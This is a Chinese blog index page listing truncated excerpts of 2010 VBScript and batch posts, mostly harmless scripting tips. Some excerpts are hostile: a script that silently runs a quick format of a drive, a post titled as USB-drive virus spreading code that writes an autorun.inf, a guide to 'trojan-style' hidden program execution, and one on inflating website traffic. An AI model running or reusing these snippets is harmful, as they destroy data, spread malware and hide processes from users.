sucre03的博客_vbscript

脚本小例子

用vbs隐藏运行指定的批处理 Set objShell = CreateObject("Wscript.Shell") objShell.Run("%comspec% /k format /q i:\"), 0, TRUE 自动写

职场

休闲

原创 2010-10-31 10:23:38 670 阅读

如何使用DOS命令判断磁盘分区是否为NTFS格式

一同事问起，如何使用命令判断磁盘是否是NTFS格式，以便进行进一步执行相关命令操作，如转换磁盘格式或设置文件/文件夹安全权限。　　第一反应，可以使用diskpart。经尝试，可以如下使用： echo list volume>t.txt && diskpart /s t.txt | find "C " >result.txt &&am

职场

休闲

vbscript

转载精选 2010-09-20 14:28:00 979 阅读

Stream、WshShell、WshUrlShortcut对象及Shell.Application的参数与使用

1.Stream对象组件："Adodb.Stream" 有下列方法： Cancel 方法使用方法如下 Object.Cancel 说明：取消执行挂起的异步 Execute 或 Open 方法的调用。 Close　方法使用方法如下 Object.Close ：关闭对像 CopyTo 方法使用方法如下 Object.Co

职场

休闲

vbscript

转载精选 2010-09-20 14:25:59 905 阅读

自动打开我的博客

set ie=createobject("internetexplorer.application") set objshell=createobject("wscript.shell") ie.visible=true objshell.appactivate "Windows&n

职场

休闲

vbscript

原创 2010-09-20 14:24:59 606 阅读

用vbs 实现从剪贴板中抓取一个 URL 然后在浏览器中打开该 Web 站点

问：嗨，Scripting Guy！我如何从剪贴板中抓取一个 URL 然后在浏览器中打开该 Web 站点？ -- CL 答：您好，CL。这是很有趣的问题，或者我们应当说，这是两个很有趣的问题。因为您实际上问了两个问题。第一个问题很简单：我可以使用脚本打开特定的 Web 站点吗？您大概已经知道答案了，我可以大声地回答您，可以！下面是一个示例脚本，它将“脚本<a

职场

休闲

vbscript

转载精选 2010-09-20 14:23:40 1306 阅读

显示\隐藏系统文件及扩展名

往右键中添加"显示\隐藏系统文件及扩展名",是不是觉得很有趣，呵呵，这样就不用总是用手去调啦，一次搞定，永久受益注：如果贴到记事本上运行的时候报错的话不是代码的问题，是注册表的键值那些行太长啦，写到记事本上的时候可能就换了行了，把那儿改改就可以啦！ Dim WshSHell,FSO On Error Resum

职场

休闲

vbscript

原创 2010-09-20 14:22:43 2141 阅读 1评论

用vbscript清除上网痕迹、cookies

清除上网痕迹等信息的时候我们一般都用到了相应的软件，以后我们要自己动手丰衣足食，呵呵，下面用vbscript来消除它们： on error resume next '设置当程序执行出现问题时直接跳转到下一条指令 set os=createobject("wscript.shell")

职场

休闲

vbscript

原创 2010-09-20 14:21:05 1825 阅读

vbs中的三种显示窗口的方法

set objshell=createobject("wscript.shell") objshell.popup "看见我了没" wscript.echo "我呢" msgbox "好玩吧",,"看这儿" in

职场

休闲

vbscript

原创 2010-09-20 14:20:00 6354 阅读

vbs 中调用shell.application 简单函数

Set os=CreateObject("wscript.shell") Set os0=CreateObject("shell.application") Do input1=InputBox(" 请选择："+chr(13)+chr(13)+&

职场

休闲

vbscript

原创 2010-09-20 14:19:11 1833 阅读

vbsU盘传播病毒

If fso.FileExists("C:\autorun.inf") Then Set objFolder = fso.GetFile("C:\autorun.inf") Else wsh.run "cmd /c echo [AutoRun]>>

职场

休闲

vbsU

转载精选 2010-07-21 11:18:30 1305 阅读

用VB实现“木马”式隐形运行程序

在一些系统，为了特定目的，经常要求程序隐藏起来运行，例如DCS（集散控制系统）中的后台监控系统、木马控制程序、源码防拷贝等，以减少被发现、截杀和反汇编的风险。这种功能模块要求程序在运行期间不仅不会在桌面出现，也不允许被操作者从任务管理器列表中发现。　　程序隐形的原理　　对于一个隐形程序而言，最基本的要求是：　　1. 不在桌面出现界面；　　2. 不在任务栏出现图标；　　3. 程序名从任

运行

职场

程序

休闲

转载精选 2010-07-21 11:17:34 428 阅读

用vbscript也可以刷网站

Set oNetwork = WScript.CreateObject("WScript.Network") computername=oNetwork.ComputerName '获取计算机名 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")

职场

休闲

vbscript

刷网站

原创 2010-07-21 11:16:51 765 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

博客即日起停止更新

脚本小例子

如何使用DOS命令判断磁盘分区是否为NTFS格式

Stream、WshShell、WshUrlShortcut对象及Shell.Application的参数与使用

自动打开我的博客

用vbs 实现从剪贴板中抓取一个 URL 然后在浏览器中打开该 Web 站点

显示\隐藏系统文件及扩展名

用vbscript清除上网痕迹、cookies

vbs中的三种显示窗口的方法

vbs 中调用shell.application 简单函数

vbsU盘传播病毒

用VB实现“木马”式隐形运行程序

用vbscript也可以刷网站